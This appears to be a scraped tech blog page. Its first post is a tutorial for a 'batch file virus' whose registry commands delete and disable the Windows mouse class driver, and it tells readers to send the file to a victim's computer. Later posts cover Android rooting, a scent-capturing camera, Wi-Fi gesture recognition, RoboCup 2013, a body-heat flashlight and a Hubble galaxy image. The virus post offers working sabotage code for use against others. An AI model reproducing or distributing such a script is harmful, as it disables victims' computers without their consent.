Create a batch file virus which can disable mouse

Mouse Not Working

Want to create a simple but effective batch file virus.

Do you like to make your own  virus and want to amaze your friends but dont have proper knowledge .
Now you can here you can do it by the help of batch programming.

Batch file virus are not detected by antivirus and they are easy to create and spread.

In this tutorial, you will learn to create a simple batch file virus that can disable mouse on victim's computer.

To create this virus all you need is a notepad or any text editor.

HOW TO DO IT
  • Just Open notepad.
  • Paste this code.
  • rem ---------------------------------
    @Echo off 
    rem Disable Mouse
    set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
    reg delete %key%

    reg add %key% /v Start /t REG_DWORD /d 4
    rem ---------------------------------
  • Save the File a .bat extension. Example virus.bat
  • You are Now done.
  • Just send this file to Victim's computer and wait for its execution.
NOTE :-
  • @echo off : This tells the file to hide what its doing and display what we tell it to.
  • rem: This shows comments in batch file.
  • set: This creates environment variables. 
  • reg: Adds, changes, and displays registry subkey information and values in registry entries.
  • delete: This delets a entry from the registry.
  • add: This adds an entry in registry.

WARINING
DONT TRY TO RUN THIS FILE ON YOUR COMPUTER.
USE A VIRUTAL PLAYER TO TEST IT.
ABOVE INFORMATION IS FOR EDUCATION PURPOSE ONLY. AUTHOR TAKES NO RESPONSIBILITY FOR ANY SYSTEM FAILURE OR DAMGE.



Android Rooting: How to Root Android Device


Is the lure of being a superuser fascinating you?  Rooting opens up a world of possibility.


What is Rooting ?

Rooting or Jailbreaking your  device is a way of gaining full control over the device even if the consumer is not allow such control by the manufacturer. Rooting is a synonym for ‘jailbreaking‘ but rooting is not illegal or something unacceptable.

An Administrator on a Windows machine, have access to the entire operating system , that’s essentially what happens if you root your Android device. With root access, you can get around any restrictions that your manufacturer or carrier may have applied.

The important thing is to be careful. Read up about what you are going to do before you begin. Make sure that you backup your data. Follow the instructions to the letter. Manufacturers and carriers have a vested interest in dissuading you from rooting. If you’re careful, the risk is minimal, and the potential benefits are impressive.

The process involves backing up your current software and then flashing (installing) a new custom ROM (modified version of Android).

Why would you root?

One of the most obvious incentives to root your Android device is to rid yourself of the bloatware that’s impossible to uninstall. 
You’ll be able to set up wireless tethering, even if it has been disabled by default.


You can also access your entire file system, install special apps that require a root, and flash custom ROMs, which can add extra features and streamline your phone or tablet’s performance. 

A lot of people are tempted by the ability to completely customize the look of their phones. You can also manually accept or deny app permissions.

You won’t find a lot of amazing must-have apps when you root, but there are enough to make it worthwhile. For example, some apps allow you to automatically backup all of your apps and all of their data, completely block advertisements, create secure tunnels to the Internet, overclock your processor, or make your device a wireless hotspot.

Benefits of Rooting/Jailbreaking your Device

1. Unrestrained Software Updates

By rooting you will be able to install all the latest updates on your device which is blocked by the manufacturer.
Like installing restricted apps on your device from restricted site.

2. Manage Preinstalled Software

Complete access to your device’s back-end software and hardware control lets you remove any preinstalled applications.
You can uninstall any preinstalled software by the manufacturer which can't modifiy,

3. Add Extra Fuel to Your Processor

By rooting android device, you can easily increase your processor’s power . The power can be increased upto 200% on some device.

NOTE: OVERCLOCKING PROCESSOR REQUIRES KNOWLEDGE AND SKILLFULNESS. SO DON'T TRY UNTIL YOU HAVE THE PROPER KNOWLEDGE.

4. Customized ROMs

TouchWiz or Sense UI is some of the tailored ROMs which fit the bill of Android. They may not have the Google affiliation mark, but still they can do wonder. By rooting your device you can actually install custom ROMs like CyanogenMod and get the best of customized features and Android themes.

5. Better Battery Backup

Custom ROMs ensure a better battery performance as it erases all the unnecessary bloatware and applications from your Android device. You can also enjoy using apps like Superpower designed for enhanced power management. But remember that Rooting will just ensure that the power is not misused over unnecessary tasks.

6. Small Yet Significant Modifications Anytime

By Rooting you can install any software on any device. Like you can install Samsung Siri Clone on any cheap Samsung Handset.

Miscellaneous

Apart from these advantages, rooting android device also helps users to create better backups, configure otherwise restricted device settings and protect your device from any sort of security threats.

Why wouldn't you root?

The two main disadvantages of rooting your Android device are:

1. Rooting will void the manufacturer’s warranty – Rooting your android device will immediately void the warranty and if something happens to the phone during the warranty period you will be charged for the repairs. It’s worth keeping in mind that you can always unroot. If you need to send the device back for repair, simply flash the original backup ROM you made and no one will ever know that it was rooted.

2. You may end up with a ‘Brick phone’ – No matter how well the rooting tutorial is you may end up with a dead (broken) phone if you use a corrupt zip file to flash or  miss out any step. Then you have to visit your phone manufacture service center to get it fixed.The obvious way to avoid it happening is to follow instructions carefully. Make sure that the guide you are following works for your device and that any custom ROM you flash is designed specifically for it. If you do your research and pay attention to feedback from others, bricking should never occur.

3. Security risks - Rooting may introduce some security risks. Depending on what services or apps you use on your device, rooting could create a security vulnerability. For example, Google refuses to support the Google Wallet service for rooted devices.


Rooting  Android Device

Before you actually try to root your device, make sure that you do some reading. It’s worth spending some time researching the right method for your device.

Preparation for root
  • Make sure you follow the instructions and install all of it before proceeding.
  • Before you begin You’ll need to ensure that your device is fully charged before you begin.
  • You NEED to put your phone on USB Debugging mode.
  • On the Samsung Devices you'll find it in Menu > Settings > Developer options and then check the box next to USB debugging.
  • It’s likely you'll need to install the Android SDK.
  • You NEED to install make sure the Android drivers for your phone are installed.
  • Make sure you DO NOT mount your SD card.
  • If you still can't get something to run, try doing it in recovery mode.

EASY ONE-CLICK ROOTING

XDA Developers forum : One of the simplest and easiest methods of rooting is XDA Developers SuperOneClick.
It also supports a long list of devices,
You will find all the instructions  discussions, forums and videos on this link XDA Developers SuperOneClick.
The XDA Developers forum is the most trustworthy source for rooting guides.
You will need to install some software to prepare, but the actual rooting process is one click. It will only take a few minutes to complete and then you’ll need to restart your Android device.

The Phandroid forums (Android Forums) aren't quite as popular as XDA, but they have always done a pretty good job of organizing information on rooting. This is a good place to start. Search the forum for your device and look for the "All Things Root" subforum.

RootzWiki may not be as popular as it once was, but there's still good information to be had on these forums, especially pertaining to new ROMs, kernels, and other things on the development side.


The CyanogenMod: CyanogenMod, one of the most popular ROMs out there, has a fantastic wiki with a ton of information on different devices. Even if you don't plan on flashing CyanogenMod (or any ROM, for that matter), you can often find information on how to root your phone within their device-specific instructions on installing CyanogenMod.

There is software out there that claims to provide one click rooting with no extra installs, but you should not have to pay to root your device and it’s very important to be wary about the method you choose. If in doubt, do more research.

The reason rooting isn’t more straightforward is that all Android devices are not created equal. There are significant differences between Android smartphones, between manufacturers, and even between carrier specific versions of the same phone model. Make sure that any rooting guide or custom ROM you intend to use does support your specific device or you are asking for trouble.

Once you have found the right guide for your phone or tablet, it’s simply a case of working through the listed steps methodically. It can be a complicated procedure and it can take a while.

Gaining full root access to your Android device can be thrilling, especially if you want to tinker with settings and customize your device. How much it changes your experience depends largely on the device you have. If you have a shuttered device, like a Kindle Fire tablet, then it’s a great way to get the full Android experience.

The potential benefits for all Android users include improved battery life, root-only apps, custom ROMs, overclocking, an end to bloatware, improved performance, and the ability to upgrade your phone when you want.

Madeleine : A Camera that can Capture your Favorite Smells (scentography)

Do you want to arrest your favorite smell and keep it with your self? What if you could recapture the aroma of that freshly baked birthday cake, or the scent of that shampoo your girlfriend used to use.

A new camera has been developed that can capture the aroma of your favorite food or the smell of the seaside holiday.


Designer Amy Radcliffe’s MA project at Central Saint Martins  brings a more meaningful sensory dimension to storing our favourite memories.


The Madeleine , named after Marcel Proust’s story of involuntary memory prompted by biting into a cake , is Radcliffe’s design for a new kind of camera that records not images, but smells.

Radcliffe's project, developed in the college’s Textile Futures department, draws on “headspace capture” techniques pioneered in the 1970s by Swiss fragrance chemist Roman Kaiser, for obtaining the composition of rare botanical scents for the perfume industry.

With its faceted ceramic casing, glass funnel and plastic tubes, it also looks like a mysterious piece of scientific apparatus.

How it Works

Place the funnel over the object or environment you wish to capture. 
A pump sucks the air across an odour trap made of Tenax – a porous polymer resin which adsorbs the volatile particles that make up the smell.
It can take anything from a few minutes to capture the scent of fresh strawberries, to around 24 hours to store the more subtle aroma of an atmosphere.
The Madeleine records the molecular information of a smell.

WiSee: Wi-Fi signals enable gesture recognition throughout entire home

Want to control your electronics appliances from any room in your house?


University of Washington computer scientists have developed gesture-recognition technology that works throughout entire room . They have used  Wi-Fi signals  to detect specific movements without needing sensors on the human body or cameras.

Users can control their electronics and household appliances from any room in the home with a simple gesture by using an adapted Wi-Fi router and a few wireless devices in the living room.


Researcher Shyam Gollakota, a UW assistant professor of computer science and engineering said,
This is repurposing wireless signals that already exist in new ways . You can actually use wireless for gesture recognition without needing to deploy more sensors.


They call this technology “WiSee,” is to appear at The 19th Annual International Conference on Mobile Computing and Networking. The conference will be held in Miami, Florida, September 30-October 4, 2013.

RoboCup 2013: Robot Football Championship

GERMAN ROBOT NIMBRO roared in medium sized Robocup  while the JAPANESE JOITECH robots triumphed in the full size Robocup, a sporting competition for medium and full sized robots

Robocup 2013 took place in Eindhoven, Netherlands.
Robocup, like the football World Cup, challenges countries to dent teams against each other. Two robots, in this case teen sized robots, take on two others while people watch. 

The Nimbro Teensize team from Germany had an easy win in the final of the Humanoid Teen Size League against CIT Brains Teen from Japan.
The Japanese team had problems with their robots, while both the German robots were on the field for most of the match - a numerical superiority which they used to full advantage.

The German team scored three goals in the first half and then sealed the cupl with a fourth in the second half.Robots do a little shuffle in the direction of a ball before kicking one leg at it.


SCORECARD
NimbRo (Germany): 4
CIT Brains Teen (Japan): 0


This video shows the robots NimbRo-OP, Copedo, and Dynaped performing walking, kicking, obstacle avoidance, throw-in and getting-up motions.
Team NimbRo is affiliated with the Autonomous Intelligent Systems Group at the Computer Science Institute VI of University of Bonn, Germany.

The Japanese Joitech robots triumphed in the full size Robocup 

The robot from the Japanese JoiTech team  won  RoboCup 2013 final against HuroEvolution AD from Taiwan. 
The match – a penalty race in which both robots had five shots at goal ­– ended with a score of 4-3

The Adult Size final saw JoiTech from Japan take an early lead. But then JoiTech’s robot couldn’t find the ball when it was his turn to take a penalty shot, making the score even again. However the Japanese team went back into the lead when the next shot by the Taiwan team’s robot hit the goalpost. 

SCORECARD
HuroEvolution AD (Taiwan): 3
JoiTech (Japan): 4

The goal of the competitions is that a robot team be in a position to win the real World Cup by 2050. For now, one of the criteria is that they must be able to get up if they fall over.

Hollow ( Thermoelectric ) Flashlight by 15 year old Ann Makosinski



Fifteen year old Tenth grader Ann Makosinski, with her body heat powered flashlight, has attained a position within the fifteen finalists who will be going to the Google Campus in Mountain View California to compete for the grand prize of $50,000.

"Hollow Flashlight"  can be powered by the heat of a hand.



On researching she stumbled across a device called the Peltier tiles.

Peltier tiles can produce energy when it is heated on one side and cooled on the other. She experimented with these device ( Peltier tles)  in her seventh grade science project and thought it can potentially capture the thermal energy produced by the human body.

She discovered that the amount of energy produced by the warmth of a person's hand was more than enough energy to power a LED flashlight. She bought Peltier tiles from Ebay but the tiles generated only a fraction of the voltage needed. On more researching  she made some changes to the design of the circuit, transformers could be used to boost the voltage.

She came across an article on the web about energy harvesting that suggested an affordable circuit that would provide the voltage she needed when used with a recommended transformer.

The flashlight is made up of an aluminum tube, obtained from a mechanical shop at the University of Victoria, where her father works as a laboratory manager. The aluminum was used to transfer the cooler temperatures of the air to one side of the Peltier tiles.
Also a PVC tube from Home Depot used to house the aluminum tube, with an opening cut in it to allow a person's hand to come in contact with the other side of the Peltier tiles.

All these materials cost a total of around $26, and if it were to be mass produced Makosinski says it can be manufactured and sold for a much lower price.

Makosinski is looking forward to her trip to the Google headquarters. 
She said, 
I just can't believe that I actually made it this far.

Hubble Telescope Captures Penguin Guarding its Egg



The Hubble Space Telescope has captured a pair of giant galaxies that bear a striking resemblance to a penguin guarding its egg.

This cosmic  find—known as Arp 142—is in reality the blue spiral galaxy, NGC 2936, twisted by the gravitational pull of the smaller elliptical galaxy NGC 2937 below it.

Hubble captures exquisite details within the tortured “penguin” galaxy. 

  • Its bright core, represents “eye” of this celestial penguin , is filled with millions of stars huddled together. 
  • The red streak slashing across the penguin’s face just above its eye is the warped remains of what was once a spiral arm.
  • The bird’s celestial body is composed of the pinwheeling spiral arms of former galaxies which now only show up as bright, feathery blue and red streaks stretching out for thousands of light years.

The galactic pair is 400 million light-years away from Earth in the southern constellation Hydra. They are in the midst of a slow motion collision—violently exchanging material and  disrupting their original structures.

The tiny, elongated red and blue smudges in the background—which look like pesky flies—are in reality much more distant galaxies.